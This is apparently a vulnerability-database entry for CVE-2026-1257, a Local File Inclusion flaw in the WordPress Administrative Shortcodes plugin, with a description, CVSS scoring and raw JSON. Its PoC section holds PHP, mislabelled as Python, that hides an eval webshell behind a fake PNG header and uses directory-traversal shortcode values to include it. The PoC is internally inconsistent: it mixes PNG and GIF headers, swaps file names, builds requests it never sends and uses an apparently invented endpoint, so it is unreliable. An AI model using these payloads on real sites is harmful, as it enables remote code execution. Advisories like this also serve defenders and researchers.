Security Vulnerability Report
中文
CVE-2026-1257 CVSS 7.5 HIGH

CVE-2026-1257

Published: 2026-01-24 08:16:10
Last Modified: 2026-04-15 00:35:42

Description

The Administrative Shortcodes plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.3.4 via the 'slug' attribute of the 'get_template' shortcode. This is due to insufficient path validation on user-supplied input passed to the get_template_part() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Administrative Shortcodes插件 < 0.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-1257 PoC - Administrative Shortcodes LFI to RCE * Target: WordPress Administrative Shortcodes Plugin <= 0.3.4 * Author: Security Research * Note: This PoC demonstrates the vulnerability for authorized testing only */ // Step 1: Authentication required (Contributor role or higher) $target_url = 'http://target-wordpress-site.com'; $username = 'attacker_contributor'; $password = 'attacker_password'; // Step 2: Upload malicious file伪装成图片的PHP代码 $php_payload = '<?php phpinfo(); @eval($_POST["cmd"]); ?>'; $fake_image = "\x89PNG\r\n\x1a\n" . $php_payload; // GIF89a header + PHP code // Step 3: Exploit LFI via 'get_template' shortcode $exploit_data = array( 'slug' => '../../../wp-content/uploads/' . date('Y') . '/' . date('m') . '/malicious.png' ); // Example shortcode usage: // [get_template slug="../../../wp-content/uploads/2026/01/malicious.png"] // or via AJAX/Rest API $api_endpoint = $target_url . '/wp-json/administrative-shortcodes/v1/template'; $params = 'slug=../../../wp-content/uploads/' . date('Y') . '/' . date('m') . '/evil.png'; // Step 4: Include and execute the malicious file $final_payload = $target_url . '/?' . $params; // Alternative: Direct file inclusion via shortcode $shortcode_payload = '[get_template slug="../../../wp-content/uploads/malicious.png"]'; // Note: The vulnerability is in get_template_part() called by: // administrative-shortcodes.php line 144 // $template = get_template_part($atts['slug']); // No path validation or sanitization on $atts['slug'] ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1257", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:09.517", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Administrative Shortcodes plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.3.4 via the 'slug' attribute of the 'get_template' shortcode. This is due to insufficient path validation on user-supplied input passed to the get_template_part() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \"safe\" file types can be uploaded and included."}, {"lang": "es", "value": "El plugin Administrative Shortcodes para WordPress es vulnerable a la inclusión local de ficheros en todas las versiones hasta la 0.3.4, inclusive, a través del atributo 'slug' del shortcode 'get_template'. Esto se debe a una validación de ruta insuficiente en la entrada proporcionada por el usuario pasada a la función get_template_part(). Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, incluyan y ejecuten ficheros arbitrarios en el servidor, permitiendo la ejecución de cualquier código PHP en esos ficheros. Esto puede usarse para eludir los controles de acceso, obtener datos sensibles o lograr la ejecución de código en casos donde imágenes y otros tipos de ficheros 'seguros' pueden ser subidos e incluidos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/administrative-shortcodes/tags/0.3.4/administrative-shortcodes.php#L144", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/administrative-shortcodes/trunk/administrative-shortcodes.php#L144", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/administrative-shortcodes", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/119fe499-88c4-413f-a44a-2b3acfdbdeb5?source=cve", "source": "[email protected]"}]}}